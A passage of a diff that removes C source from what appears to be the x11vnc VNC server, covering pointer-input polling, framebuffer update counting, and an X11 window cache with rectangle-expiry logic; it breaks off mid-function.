- /* too many misses */
- break;
- } else {
- /* these are misses */
- int wms = 0;
- if (gcnt == 1 && button_mask) {
- /*
- * missed our first input, wait
- * for a defer time. (e.g. on
- * slow link) hopefully client
- * will batch them.
- */
- wms = 50;
- } else if (button_mask) {
- wms = 10;
- } else {
- }
- if (wms) {
- usleep(wms * 1000);
- }
- }
- }
-
- if (ginput >= 2) {
- /* try for a couple more quick ones */
- for (i=0; i<2; i++) {
- rfbCFD(rfb_wait_ms * 1000);
- }
- }
-
- drag_in_progress = 0;
-}
-
-int fb_update_sent(int *count) {
- static int last_count = 0;
- int sent = 0, rc = 0;
- rfbClientIteratorPtr i;
- rfbClientPtr cl;
-
- if (nofb) {
- return 0;
- }
-
- i = rfbGetClientIterator(screen);
- while( (cl = rfbClientIteratorNext(i)) ) {
-#if 0
- sent += cl->framebufferUpdateMessagesSent;
-#else
-#if LIBVNCSERVER_HAS_STATS
- sent += rfbStatGetMessageCountSent(cl, rfbFramebufferUpdate);
-#endif
-#endif
- }
- rfbReleaseClientIterator(i);
- if (sent != last_count) {
- rc = 1;
- }
- if (count != NULL) {
- *count = sent;
- }
- last_count = sent;
- return rc;
-}
-
-static void check_user_input4(double dt, double dtr, int tile_diffs) {
-
- int g, g_in, i, ginput, gcnt, tmp;
- int last_was_miss, consecutive_misses;
- int min_frame_size = 10; /* 10 tiles */
- double spin, tm, to, tc, dtm, rpe_last;
- int rfb_wait_ms = 2;
- static double dt_cut = 0.050;
- static int first = 1;
-
- int Btile = tile_x * tile_y * bpp/8; /* Bytes per tile */
- double Ttile, dt_use;
- double screen_rate = 6000000.; /* 5 MB/sec */
- double vnccpu_rate = 80 * 100000.; /* 20 KB/sec @ 80X compression */
- double net_rate = 50000.;
- static double Tfac_r = 1.0, Tfac_v = 1.0, Tfac_n = 1.0, Tdelay = 0.001;
- static double dt_min = -1.0, dt_max = -1.0;
- double dt_min_fallback = 0.050;
- static int ssec = 0, total_calls = 0;
- static int push_frame = 0, update_count = 0;
-
- if (first) {
- char *p = getenv("SPIN");
- if (p) {
- sscanf(p, "%lf,%lf,%lf,%lf", &dt_cut, &Tfac_r, &Tfac_v, &Tfac_n);
- }
- first = 0;
- ssec = time(NULL);
-
- if (dtr) {} /* unused vars warning: */
- }
-
- total_calls++;
-
- if (dt_min < 0.0 || dt < dt_min) {
- if (dt > 0.0) {
- dt_min = dt;
- }
- }
- if (dt_min < 0.0) {
- /* sensible value for the very 1st call if dt = 0.0 */
- dt_min = dt_min_fallback;
- }
- if (dt_max < 0.0 || dt > dt_max) {
- dt_max = dt;
- }
-
- if (total_calls > 30 && dt_min > 0.0) {
- static int first = 1;
- /*
- * dt_min will soon be the quickest time to do
- * one scan_for_updates with no tiles copied.
- * use this (instead of copy_tiles) to estimate
- * screen read rate.
- */
- screen_rate = (main_bytes_per_line * ntiles_y) / dt_min;
- if (first) {
- rfbLog("measured screen read rate: %.2f Bytes/sec\n",
- screen_rate);
- }
- first = 0;
- }
-
- dtime0(&tm);
-
- if (dt < dt_cut) {
- dt_use = dt_cut;
- } else {
- dt_use = dt;
- }
-
- if (push_frame) {
- int cnt, iter = 0;
- double tp, push_spin = 0.0;
- dtime0(&tp);
- while (push_spin < dt_use * 0.5) {
- fb_update_sent(&cnt);
- if (cnt != update_count) {
- break;
- }
- /* damn, they didn't push our frame! */
- iter++;
- rfbPE(rfb_wait_ms * 1000);
-
- push_spin += dtime(&tp);
- }
- if (iter) {
- X_LOCK;
- XFlush_wr(dpy);
- X_UNLOCK;
- }
- push_frame = 0;
- update_count = 0;
- }
-
- /*
- * when we first enter we require some pointer input
- */
- if (!got_pointer_input) {
- return;
- }
-
- vnccpu_rate = get_raw_rate();
-
- if ((tmp = get_read_rate()) != 0) {
- screen_rate = (double) tmp;
- }
- if ((tmp = get_net_rate()) != 0) {
- net_rate = (double) tmp;
- }
- net_rate = (vnccpu_rate/get_cmp_rate()) * net_rate;
-
- if ((tmp = get_net_latency()) != 0) {
- Tdelay = 0.5 * ((double) tmp)/1000.;
- }
-
- Ttile = Btile * (Tfac_r/screen_rate + Tfac_v/vnccpu_rate + Tfac_n/net_rate);
-
- spin = 0.0; /* amount of time spinning */
- last_was_miss = 0;
- consecutive_misses = 1;
- gcnt = 0;
- ginput = 0;
-
- rpe_last = to = tc = tm; /* last time we did rfbPE() */
- g = g_in = got_pointer_input;
-
- tile_diffs = 0; /* reset our knowlegde of tile_diffs to zero */
-
- while (1) {
- int got_input = 0;
-
- gcnt++;
-
- if (button_mask) {
- /* this varible is used by our pointer handler */
- drag_in_progress = 1;
- }
-
- /* turn libvncserver crank to process events: */
- rfbCFD(rfb_wait_ms * 1000);
-
- dtm = dtime(&tm);
- spin += dtm;
-
- if ( (gcnt == 1 && got_pointer_input > g) || tm-tc > 2*dt_min) {
- tile_diffs = scan_for_updates(1);
- tc = tm;
- }
-
- if (got_pointer_input == g) {
- if (last_was_miss) {
- consecutive_misses++;
- }
- last_was_miss = 1;
- } else {
- ginput++;
- consecutive_misses = 1;
- last_was_miss = 0;
- }
-
- if (tile_diffs > min_frame_size && spin > Ttile * tile_diffs + Tdelay) {
- /* we think we can push the frame */
- push_frame = 1;
- fb_update_sent(&update_count);
- break;
-
- } else if (got_pointer_input > g) {
- /* received some input, flush it to display. */
- got_input = 1;
- g = got_pointer_input;
- X_LOCK;
- XFlush_wr(dpy);
- X_UNLOCK;
-
- } else if (consecutive_misses >= 2) {
- /* too many misses in a row */
- break;
-
- } else {
- /* these are pointer input misses */
- int wms;
- if (gcnt == 1 && button_mask) {
- /*
- * missed our first input, wait for
- * a defer time. (e.g. on slow link)
- * hopefully client will batch many
- * of them for the next read.
- */
- wms = 50;
-
- } else if (button_mask) {
- wms = 10;
- } else {
- wms = 0;
- }
- if (wms) {
- usleep(wms * 1000);
- }
- }
- }
- if (ginput >= 2) {
- /* try for a couple more quick ones */
- for (i=0; i<2; i++) {
- rfbCFD(rfb_wait_ms * 1000);
- }
- }
- drag_in_progress = 0;
-}
-
-int check_user_input(double dt, double dtr, int tile_diffs, int *cnt) {
-
- if (rawfb_vnc_reflect) {
- if (got_user_input) {
- if (0) vnc_reflect_process_client();
- }
- if (got_user_input && *cnt % ui_skip != 0) {
- /* every n-th drops thru to scan */
- *cnt = *cnt + 1;
- return 1; /* short circuit watch_loop */
- }
- }
-#ifdef MACOSX
- if (! macosx_console) {
- RAWFB_RET(0)
- }
-#else
- RAWFB_RET(0)
-#endif
-
- if (use_xrecord) {
- int rc = check_xrecord();
- /*
- * 0: nothing found, proceed to other user input schemes.
- * 1: events found, want to do a screen update now.
- * 2: events found, want to loop back for some more.
- * 3: events found, want to loop back for some more,
- * and not have rfbPE() called.
- *
- * For 0, we precede below, otherwise return rc-1.
- */
-if (debug_scroll && rc > 1) fprintf(stderr, " CXR: check_user_input ret %d\n", rc - 1);
- if (rc == 0) {
- ; /* proceed below. */
- } else {
- return rc - 1;
- }
- }
-
- if (wireframe) {
- if (check_wireframe()) {
- return 0;
- }
- }
-
- if (pointer_mode == 1) {
- if ((got_user_input || ui_skip < 0) && *cnt % ui_skip != 0) {
- /* every ui_skip-th drops thru to scan */
- *cnt = *cnt + 1;
- X_LOCK;
- XFlush_wr(dpy);
- X_UNLOCK;
- return 1; /* short circuit watch_loop */
- } else {
- return 0;
- }
- }
- if (pointer_mode >= 2 && pointer_mode <= 4) {
- if (got_keyboard_input) {
- /*
- * for these modes, short circuit watch_loop on
- * *keyboard* input.
- */
- if (*cnt % ui_skip != 0) {
- *cnt = *cnt + 1;
- return 1;
- }
- }
- /* otherwise continue below with pointer input method */
- }
-
- if (pointer_mode == 2) {
- check_user_input2(dt);
- } else if (pointer_mode == 3) {
- check_user_input3(dt, dtr, tile_diffs);
- } else if (pointer_mode == 4) {
- check_user_input4(dt, dtr, tile_diffs);
- }
- return 0;
-}
-
-#if defined(NO_NCACHE) || (NO_X11 && !defined(MACOSX))
-int check_ncache(int a, int b) {
- if (!a || !b) {}
- ncache = 0;
- return 0;
-}
-int lookup_win_index(Window win) {
- if (!win) {}
- return -1;
-}
-int find_rect(int idx, int x, int y, int w, int h) {
- if (!idx || !x || !y || !w || !h) {}
- return 0;
-}
-void snap_old(void) {
- return;
-}
-int clipped(int idx) {
- if (!idx) {}
- return 0;
-}
-int bs_restore(int idx, int *nbatch, sraRegionPtr rmask, XWindowAttributes *attr, int clip, int nopad, int *valid, int verb) {
- if (!idx || !nbatch || !rmask || !attr || !clip || !nopad || !valid || !verb) {}
- return 0;
-}
-int try_to_fix_su(Window win, int idx, Window above, int *nbatch, char *mode) {
- if (!win || !idx || !above || !nbatch || !mode) {}
- return 0;
-}
-int try_to_fix_resize_su(Window orig_frame, int orig_x, int orig_y, int orig_w, int orig_h,
- int x, int y, int w, int h, int try_batch) {
- if (!orig_frame || !orig_x || !orig_y || !orig_w || !orig_h || !x || !y || !w || !h || !try_batch) {}
- return 0;
-}
-void set_ncache_xrootpmap(void) {
- return;
-}
-#else
-/* maybe ncache.c it if works */
-
-winattr_t* cache_list = NULL;
-int cache_list_num = 0;
-int cache_list_len = 0;
-
-void snapshot_cache_list(int free_only, double allowed_age) {
- static double last_snap = 0.0, last_free = 0.0;
- double now;
- int num, rc, i;
- unsigned int ui;
- Window r, w;
- Window *list;
- int start = 512;
-
- if (! cache_list) {
- cache_list = (winattr_t *) calloc(start*sizeof(winattr_t), 1);
- cache_list_num = 0;
- cache_list_len = start;
- }
-
- dtime0(&now);
- if (free_only) {
- /* we really don't free it, just reset to zero windows */
- cache_list_num = 0;
- last_free = now;
- return;
- }
-
- if (cache_list_num && now < last_snap + allowed_age) {
- return;
- }
-
- cache_list_num = 0;
- last_free = now;
-
-#ifdef MACOSX
- if (! macosx_console) {
- RAWFB_RET_VOID
- }
-#else
- RAWFB_RET_VOID
-#endif
-
-
-#if NO_X11 && !defined(MACOSX)
- num = rc = i = 0; /* compiler warnings */
- ui = 0;
- r = w = None;
- list = NULL;
- return;
-#else
-
- X_LOCK;
- /* no need to trap error since rootwin */
- rc = XQueryTree_wr(dpy, rootwin, &r, &w, &list, &ui);
- X_UNLOCK;
- num = (int) ui;
-
- if (! rc) {
- cache_list_num = 0;
- last_free = now;
- last_snap = 0.0;
- return;
- }
-
- last_snap = now;
- if (num > cache_list_len) {
- int n = 2*num;
- n = num + 3;
- free(cache_list);
- cache_list = (winattr_t *) calloc(n*sizeof(winattr_t), 1);
- cache_list_len = n;
- }
- for (i=0; i<num; i++) {
- cache_list[i].win = list[i];
- cache_list[i].fetched = 0;
- cache_list[i].valid = 0;
- cache_list[i].time = now;
- cache_list[i].selectinput = 0;
- cache_list[i].vis_cnt = 0;
- cache_list[i].map_cnt = 0;
- cache_list[i].unmap_cnt = 0;
- cache_list[i].create_cnt = 0;
- cache_list[i].vis_state = -1;
- cache_list[i].above = None;
- }
- if (num == 0) {
- cache_list[0].win = None;
- cache_list[0].fetched = 0;
- cache_list[0].valid = 0;
- cache_list[0].time = now;
- cache_list[0].selectinput = 0;
- cache_list[0].vis_cnt = 0;
- cache_list[0].map_cnt = 0;
- cache_list[0].unmap_cnt = 0;
- cache_list[0].create_cnt = 0;
- cache_list[0].vis_state = -1;
- cache_list[0].above = None;
- num++;
- }
-
- cache_list_num = num;
-
- if (num) {
- X_LOCK;
- XFree_wr(list);
- X_UNLOCK;
- }
-#endif /* NO_X11 */
-}
-
-void quick_snap(Window *wins, int *size) {
- int num, rc, i;
- unsigned int ui;
- Window r, w;
- Window *list;
-
-#ifdef MACOSX
- if (1 || ! macosx_console) {
- RAWFB_RET_VOID
- }
-#else
- RAWFB_RET_VOID
-#endif
-
-
-#if NO_X11 && !defined(MACOSX)
- num = rc = i = 0; /* compiler warnings */
- ui = 0;
- r = w = None;
- list = NULL;
- return;
-#else
-
- X_LOCK;
- /* no need to trap error since rootwin */
- rc = XQueryTree_wr(dpy, rootwin, &r, &w, &list, &ui);
- X_UNLOCK;
- num = (int) ui;
-
- if (! rc || num == 0) {
- *size = 0;
- return;
- } else {
- int m = *size;
- if (num < m) {
- m = num;
- }
- for (i=0; i < m; i++) {
- wins[i] = list[i];
- }
- if (num) {
- X_LOCK;
- XFree_wr(list);
- X_UNLOCK;
- }
- *size = m;
- }
-#endif /* NO_X11 */
-}
-
-int get_bs_n(int y) {
- int n;
- for (n = 1; n < ncache; n += 2) {
- if (n*dpy_y <= y && y < (n+1)*dpy_y) {
- return n;
- }
- }
- return -1;
-}
-
-#define NRECENT 32
-Window recent[NRECENT];
-int recidx[NRECENT];
-int rlast, rfree;
-
-int lookup_win_index(Window win) {
- int k, idx = -1;
- int foundfree = 0;
- static int s1 = 0, s2 = 0, s3 = 0;
-
- if (win == rootwin || win == None) {
- return -1;
- }
- for (k = 0; k < NRECENT; k++) {
- if (recent[k] == win) {
- int k2 = recidx[k];
- if (cache_list[k2].win == win) {
- idx = k2;
-if (0) fprintf(stderr, "recentA(shortcut): %d 0x%lx\n", idx, win);
- s1++;
- break;
- }
- }
- }
- if (idx < 0) {
- for(k=0; k<cache_list_num; k++) {
- if (!foundfree && cache_list[k].win == None) {
- rfree = k;
- foundfree = 1;
- }
- if (cache_list[k].win == win) {
- idx = k;
-if (0) fprintf(stderr, "recentB(normal): %d 0x%lx\n", idx, win);
- s2++;
- break;
- }
- }
- if (idx >= 0) {
- recent[rlast] = win;
- recidx[rlast++] = idx;
- rlast = rlast % NRECENT;
- }
- }
- if (idx < 0) {
-if (ncdb) fprintf(stderr, "recentC(fail): %d 0x%lx\n", idx, win);
- s3++;
- }
- if (s1 + s2 + s3 >= 1000) {
-if (ncdb) fprintf(stderr, "lookup_win_index recent hit stats: %d/%d/%d\n", s1, s2, s3);
- s1 = s2 = s3 = 0;
- }
- return idx;
-}
-
-int lookup_free_index(void) {
- int k;
-
- if (rfree >= 0) {
- if (cache_list[rfree].win == None) {
-if (ncdb) fprintf(stderr, "lookup_freeA: %d\n", rfree);
- return rfree;
- }
- }
- rfree = -1;
- for(k=0; k<cache_list_num; k++) {
- if (cache_list[k].win == None) {
- rfree = k;
- break;
- }
- }
- if (rfree < 0) {
- if (ncdb) fprintf(stderr, "*** LOOKUP_FREE_INDEX: incrementing cache_list_num %d/%d\n", cache_list_num, cache_list_len);
-
- rfree = cache_list_num++;
- if (rfree >= cache_list_len) {
- int i, n = 2*cache_list_len;
- winattr_t *cache_new;
-
- if (ncdb) fprintf(stderr, "lookup_free_index: growing cache_list_len: %d -> %d\n", cache_list_len, n);
-
- cache_new = (winattr_t *) calloc(n*sizeof(winattr_t), 1);
- for (i=0; i<cache_list_num-1; i++) {
- cache_new[i] = cache_list[i];
- }
- cache_list_len = n;
- free(cache_list);
- cache_list = cache_new;
- }
- cache_list[rfree].win = None;
- cache_list[rfree].fetched = 0;
- cache_list[rfree].valid = 0;
- cache_list[rfree].time = 0.0;
- cache_list[rfree].selectinput = 0;
- cache_list[rfree].vis_cnt = 0;
- cache_list[rfree].map_cnt = 0;
- cache_list[rfree].unmap_cnt = 0;
- cache_list[rfree].create_cnt = 0;
- cache_list[rfree].vis_state = -1;
- cache_list[rfree].above = None;
- }
-
-if (ncdb) fprintf(stderr, "lookup_freeB: %d\n", rfree);
- return rfree;
-}
-
-#define STACKMAX 4096
-Window old_stack[STACKMAX];
-Window new_stack[STACKMAX];
-Window old_stack_map[STACKMAX];
-Window new_stack_map[STACKMAX];
-int old_stack_index[STACKMAX];
-int old_stack_mapped[STACKMAX];
-int old_stack_n = 0;
-int new_stack_n = 0;
-int old_stack_map_n = 0;
-int new_stack_map_n = 0;
-
-void snap_old(void) {
- int i;
- old_stack_n = STACKMAX;
- quick_snap(old_stack, &old_stack_n);
-if (0) fprintf(stderr, "snap_old: %d %.4f\n", old_stack_n, dnowx());
-#if 0
- for (i= old_stack_n - 1; i >= 0; i--) {
- int idx = lookup_win_index(old_stack[i]);
- if (idx >= 0) {
- if (cache_list[idx].map_state == IsViewable) {
- if (ncdb) fprintf(stderr, " %03d 0x%x\n", i, old_stack[i]);
- }
- }
- }
-#endif
- for (i=0; i < old_stack_n; i++) {
- old_stack_mapped[i] = -1;
- }
-}
-
-void snap_old_index(void) {
- int i, idx;
- for (i=0; i < old_stack_n; i++) {
- idx = lookup_win_index(old_stack[i]);
- old_stack_index[i] = idx;
- if (idx >= 0) {
- if (cache_list[idx].map_state == IsViewable) {
- old_stack_mapped[i] = 1;
- } else {
- old_stack_mapped[i] = 0;
- }
- }
- }
-}
-
-int lookup_old_stack_index(int ic) {
- int idx = old_stack_index[ic];
-
- if (idx < 0) {
- return -1;
- }
- if (cache_list[idx].win != old_stack[ic]) {
- snap_old_index();
- }
- idx = old_stack_index[ic];
- if (idx < 0 || cache_list[idx].win != old_stack[ic]) {
- return -1;
- }
- if (cache_list[idx].map_state == IsViewable) {
- old_stack_mapped[ic] = 1;
- } else {
- old_stack_mapped[ic] = 0;
- }
- return idx;
-}
-
-#define STORE(k, w, attr) \
- if (0) fprintf(stderr, "STORE(%d) = 0x%lx\n", k, w); \
- cache_list[k].win = w; \
- cache_list[k].fetched = 1; \
- cache_list[k].valid = 1; \
- cache_list[k].x = attr.x; \
- cache_list[k].y = attr.y; \
- cache_list[k].width = attr.width; \
- cache_list[k].height = attr.height; \
- cache_list[k].border_width = attr.border_width; \
- cache_list[k].map_state = attr.map_state; \
- cache_list[k].time = dnow();
-
-#if 0
- cache_list[k].width = attr.width + 2*attr.border_width; \
- cache_list[k].height = attr.height + 2*attr.border_width; \
-
-#endif
-
-#define CLEAR(k) \
- if (0) fprintf(stderr, "CLEAR(%d)\n", k); \
- cache_list[k].bs_x = -1; \
- cache_list[k].bs_y = -1; \
- cache_list[k].bs_w = -1; \
- cache_list[k].bs_h = -1; \
- cache_list[k].su_x = -1; \
- cache_list[k].su_y = -1; \
- cache_list[k].su_w = -1; \
- cache_list[k].su_h = -1; \
- cache_list[k].time = 0.0; \
- cache_list[k].bs_time = 0.0; \
- cache_list[k].su_time = 0.0; \
- cache_list[k].vis_obs_time = 0.0; \
- cache_list[k].vis_unobs_time = 0.0;
-
-#define DELETE(k) \
- if (0) fprintf(stderr, "DELETE(%d) = 0x%lx\n", k, cache_list[k].win); \
- cache_list[k].win = None; \
- cache_list[k].fetched = 0; \
- cache_list[k].valid = 0; \
- cache_list[k].selectinput = 0; \
- cache_list[k].vis_cnt = 0; \
- cache_list[k].map_cnt = 0; \
- cache_list[k].unmap_cnt = 0; \
- cache_list[k].create_cnt = 0; \
- cache_list[k].vis_state = -1; \
- cache_list[k].above = None; \
- free_rect(k); /* does CLEAR(k) */
-
-static char unk[32];
-
-char *Etype(int type) {
- if (type == KeyPress) return "KeyPress";
- if (type == KeyRelease) return "KeyRelease";
- if (type == ButtonPress) return "ButtonPress";
- if (type == ButtonRelease) return "ButtonRelease";
- if (type == MotionNotify) return "MotionNotify";
- if (type == EnterNotify) return "EnterNotify";
- if (type == LeaveNotify) return "LeaveNotify";
- if (type == FocusIn) return "FocusIn";
- if (type == FocusOut) return "FocusOut";
- if (type == KeymapNotify) return "KeymapNotify";
- if (type == Expose) return "Expose";
- if (type == GraphicsExpose) return "GraphicsExpose";
- if (type == NoExpose) return "NoExpose";
- if (type == VisibilityNotify) return "VisibilityNotify";
- if (type == CreateNotify) return "CreateNotify";
- if (type == DestroyNotify) return "DestroyNotify";
- if (type == UnmapNotify) return "UnmapNotify";
- if (type == MapNotify) return "MapNotify";
- if (type == MapRequest) return "MapRequest";
- if (type == ReparentNotify) return "ReparentNotify";
- if (type == ConfigureNotify) return "ConfigureNotify";
- if (type == ConfigureRequest) return "ConfigureRequest";
- if (type == GravityNotify) return "GravityNotify";
- if (type == ResizeRequest) return "ResizeRequest";
- if (type == CirculateNotify) return "CirculateNotify";
- if (type == CirculateRequest) return "CirculateRequest";
- if (type == PropertyNotify) return "PropertyNotify";
- if (type == SelectionClear) return "SelectionClear";
- if (type == SelectionRequest) return "SelectionRequest";
- if (type == SelectionNotify) return "SelectionNotify";
- if (type == ColormapNotify) return "ColormapNotify";
- if (type == ClientMessage) return "ClientMessage";
- if (type == MappingNotify) return "MappingNotify";
- if (type == LASTEvent) return "LASTEvent";
- sprintf(unk, "Unknown %d", type);
- return unk;
-}
-char *VState(int state) {
- if (state == VisibilityFullyObscured) return "VisibilityFullyObscured";
- if (state == VisibilityPartiallyObscured) return "VisibilityPartiallyObscured";
- if (state == VisibilityUnobscured) return "VisibilityUnobscured";
- sprintf(unk, "Unknown %d", state);
- return unk;
-}
-char *MState(int state) {
- if (state == IsViewable) return "IsViewable";
- if (state == IsUnmapped) return "IsUnmapped";
- sprintf(unk, "Unknown %d", state);
- return unk;
-}
-sraRegionPtr rect_reg[64];
-sraRegionPtr zero_rects = NULL;
-
-int free_rect(int idx) {
- int n, ok = 0;
- sraRegionPtr r1, r2;
- int x, y, w, h;
-
- if (idx < 0 || idx >= cache_list_num) {
-if (0) fprintf(stderr, "free_rect: bad index: %d\n", idx);
- clean_up_exit(1);
- }
-
- x = cache_list[idx].bs_x;
- y = cache_list[idx].bs_y;
- w = cache_list[idx].bs_w;
- h = cache_list[idx].bs_h;
-
- if (x < 0) {
- CLEAR(idx);
-if (dnow() > last_client + 5 && ncdb) fprintf(stderr, "free_rect: already bs_x invalidated: %d bs_x: %d\n", idx, x);
- return 1;
- }
-
- r2 = sraRgnCreateRect(x, y, x+w, y+h);
-
- n = get_bs_n(y);
- if (n >= 0) {
- r1 = rect_reg[n];
- sraRgnOr(r1, r2);
- ok = 1;
- }
-
- if (zero_rects) {
- sraRgnOr(zero_rects, r2);
- x = cache_list[idx].su_x;
- y = cache_list[idx].su_y;
- w = cache_list[idx].su_w;
- h = cache_list[idx].su_h;
- if (x >= 0) {
- sraRgnDestroy(r2);
- r2 = sraRgnCreateRect(x, y, x+w, y+h);
- sraRgnOr(zero_rects, r2);
- }
- }
- sraRgnDestroy(r2);
-
- CLEAR(idx);
-if (! ok && ncdb) fprintf(stderr, "**** free_rect: not-found %d\n", idx);
- return ok;
-}
-
-int fr_BIG1 = 0;
-int fr_BIG2 = 0;
-int fr_REGION = 0;
-int fr_GRID = 0;
-int fr_EXPIRE = 0;
-int fr_FORCE = 0;
-int fr_FAIL = 0;
-int fr_BIG1t = 0;
-int fr_BIG2t = 0;
-int fr_REGIONt = 0;
-int fr_GRIDt = 0;
-int fr_EXPIREt = 0;
-int fr_FORCEt = 0;
-int fr_FAILt = 0;
-
-void expire_rects1(int idx, int w, int h, int *x_hit, int *y_hit, int big1, int big2, int cram) {
- sraRegionPtr r1, r2, r3;
- int x = -1, y = -1, n;
-
- if (*x_hit < 0) {
- int i, k, old[10], N = 4;
- double dold[10], fa, d, d1, d2, d3;
- int a0 = w * h, a1;
-
- for (k=1; k<=N; k++) {
- old[k] = -1;
- dold[k] = -1.0;
- }
- for (i=0; i<cache_list_num; i++) {
- int wb = cache_list[i].bs_w;
- int hb = cache_list[i].bs_h;
- if (cache_list[i].bs_x < 0) {
- continue;
- }
- if (w > wb || h > hb) {
- continue;
- }
- if (wb == 0 || hb == 0) {
- continue;
- }
- if (a0 == 0) {
- continue;
- }
- if (i == idx) {
- continue;
- }
- a1 = wb * hb;
- fa = ((double) a1) / a0;
- k = (int) fa;
-
- if (k < 1) k = 1;
- if (k > N) continue;
-
- d1 = cache_list[i].time;
- d2 = cache_list[i].bs_time;
- d3 = cache_list[i].su_time;
-
- d = d1;
- if (d2 > d) d = d2;
- if (d3 > d) d = d3;
-
- if (dold[k] == -1.0 || d < dold[k]) {
- old[k] = i;
- dold[k] = d;
- }
- }
-
- for (k=1; k<=N; k++) {
- if (old[k] >= 0) {
- int ik = old[k];
- int k_x = cache_list[ik].bs_x;
- int k_y = cache_list[ik].bs_y;
- int k_w = cache_list[ik].bs_w;
- int k_h = cache_list[ik].bs_h;
-
-if (ncdb) fprintf(stderr, ">>**--**>> found rect via EXPIRE: %d 0x%lx -- %dx%d+%d+%d %d %d -- %dx%d+%d+%d A: %d/%d\n",
- ik, cache_list[ik].win, w, h, x, y, *x_hit, *y_hit, k_w, k_h, k_x, k_y, k_w * k_h, w * h);
-
- free_rect(ik);
- fr_EXPIRE++;
- fr_EXPIREt++;
- *x_hit = k_x;
- *y_hit = k_y;
- n = get_bs_n(*y_hit);
- if (n >= 0) {
- r1 = rect_reg[n];
- r2 = sraRgnCreateRect(*x_hit, *y_hit, *x_hit + w, *y_hit + h);
- sraRgnSubtract(r1, r2);
- sraRgnDestroy(r2);
- } else {
- fprintf(stderr, "failure to find y n in find_rect\n");
- clean_up_exit(1);
- }
- break;
- }
- }
- }
-
- /* next, force ourselves into some corner, expiring many */
- if (*x_hit < 0) {
- int corner_x = (int) (2 * rfac());
- int corner_y = (int) (2 * rfac());
- int x0 = 0, y0 = 0, i, nrand, nr = ncache/2;
- if (nr == 1) {
- nrand = 1;
- } else {
- if (! big1) {
- nrand = 1;
- } else {
- if (big2 && nr > 2) {
- nrand = 1 + (int) ((nr - 2) * rfac());
- nrand += 2;
- } else {
- nrand = 1 + (int) ((nr - 1) * rfac());
- nrand += 1;
- }
- }
- }
- if (nrand < 0 || nrand > nr) {
- nrand = nr;
- }
- if (cram && big1) {
- corner_x = 1;
- }
-
- y0 += dpy_y;
- if (nrand > 1) {
- y0 += 2 * (nrand - 1) * dpy_y;
- }
- if (corner_y) {
- y0 += dpy_y - h;
- }
- if (corner_x) {
- x0 += dpy_x - w;
- }
- r1 = sraRgnCreateRect(x0, y0, x0+w, y0+h);
-
- for (i=0; i<cache_list_num; i++) {
- int xb = cache_list[i].bs_x;
- int yb = cache_list[i].bs_y;
- int wb = cache_list[i].bs_w;
- int hb = cache_list[i].bs_h;
- if (xb < 0) {
- continue;
- }
- if (nabs(yb - y0) > dpy_y) {
- continue;
- }
- r2 = sraRgnCreateRect(xb, yb, xb+wb, yb+hb);
- if (sraRgnAnd(r2, r1)) {
- free_rect(i);
- }
- sraRgnDestroy(r2);
- }
- *x_hit = x0;
- *y_hit = y0;
- r3 = rect_reg[2*nrand-1];
- sraRgnSubtract(r3, r1);
- sraRgnDestroy(r1);
-
-if (ncdb) fprintf(stderr, ">>**--**>> found rect via FORCE: %dx%d+%d+%d -- %d %d\n", w, h, x, y, *x_hit, *y_hit);
-
- fr_FORCE++;
- fr_FORCEt++;
- }
-}
-
-void expire_rects2(int idx, int w, int h, int *x_hit, int *y_hit, int big1, int big2, int cram) {
- sraRegionPtr r1, r2, r3;
- int x = -1, y = -1, n, i, j, k;
- int nwgt_max = 128, nwgt = 0;
- int type[128];
- int val[4][128];
- double wgt[128], norm;
- int Expire = 1, Force = 2;
- int do_expire = 1;
- int do_force = 1;
- double now = dnow(), r;
- double newest = -1.0, oldest = -1.0, basetime;
- double map_factor = 0.25;
-
- for (i=0; i<cache_list_num; i++) {
- double d, d1, d2;
-
- d1 = cache_list[i].bs_time;
- d2 = cache_list[i].su_time;
-
- d = d1;
- if (d2 > d) d = d2;
-
- if (d == 0.0) {
- continue;
- }
-
- if (oldest == -1.0 || d < oldest) {
- oldest = d;
- }
- if (newest == -1.0 || d > newest) {
- newest = d;
- }
- }
- if (newest == -1.0) {
- newest = now;
- }
- if (oldest == -1.0) {
- oldest = newest - 1800;
- }
-
- basetime = newest + 0.1 * (newest - oldest);
-
- if (do_expire) {
- int old[10], N = 4;
- double dold[10], fa, d, d1, d2;
- int a0 = w * h, a1;
-
- for (k=1; k<=N; k++) {
- old[k] = -1;
- dold[k] = -1.0;
- }
- for (i=0; i<cache_list_num; i++) {
- int wb = cache_list[i].bs_w;
- int hb = cache_list[i].bs_h;
- if (cache_list[i].bs_x < 0) {
- continue;
- }
- if (w > wb || h > hb) {
- continue;
- }
- if (wb == 0 || hb == 0) {
- continue;
- }
- if (a0 == 0) {
- continue;
- }
- if (i == idx) {
- continue;
- }
-
- a1 = wb * hb;
- fa = ((double) a1) / a0;
- k = (int) fa;
-
- if (k < 1) k = 1;
- if (k > N) continue;
-
- d1 = cache_list[i].bs_time;
- d2 = cache_list[i].su_time;
-
- d = d1;
- if (d2 > d) d = d2;
- if (d == 0.0) d = oldest;
-
- if (dold[k] == -1.0 || d < dold[k]) {
- old[k] = i;
- dold[k] = d;
- }
- }
-
- for (k=1; k<=N; k++) {
- if (old[k] >= 0) {
- int ik = old[k];
- int k_w = cache_list[ik].bs_w;
- int k_h = cache_list[ik].bs_h;
-
- wgt[nwgt] = (basetime - dold[k]) / (k_w * k_h);
- if (cache_list[ik].map_state == IsViewable) {
- wgt[nwgt] *= map_factor;
- }
- type[nwgt] = Expire;
- val[0][nwgt] = ik;
-if (ncdb) fprintf(stderr, "Expire[%02d] %9.5f age=%9.4f area=%8d need=%8d\n", nwgt, 10000 * wgt[nwgt], basetime - dold[k], k_w * k_h, w*h);
- nwgt++;
- if (nwgt >= nwgt_max) {
- break;
- }
- }
- }
- }
-
- /* next, force ourselves into some corner, expiring many rect */
- if (do_force) {
- int corner_x, corner_y;
- int x0, y0;
-
- for (n = 1; n < ncache; n += 2) {
- if (big1 && ncache > 2 && n == 1) {
- continue;
- }
- if (big2 && ncache > 4 && n <= 3) {
- continue;
- }
- for (corner_x = 0; corner_x < 2; corner_x++) {
- if (cram && big1 && corner_x == 0) {
- continue;
- }
- for (corner_y = 0; corner_y < 2; corner_y++) {
- double age = 0.0, area = 0.0, amap = 0.0, a;
- double d, d1, d2, score;
- int nc = 0;
-
- x0 = 0;
- y0 = 0;
- y0 += n * dpy_y;
-
- if (corner_y) {
- y0 += dpy_y - h;
- }
- if (corner_x) {
- x0 += dpy_x - w;
- }
- r1 = sraRgnCreateRect(x0, y0, x0+w, y0+h);
-
- for (i=0; i<cache_list_num; i++) {
- int xb = cache_list[i].bs_x;
- int yb = cache_list[i].bs_y;
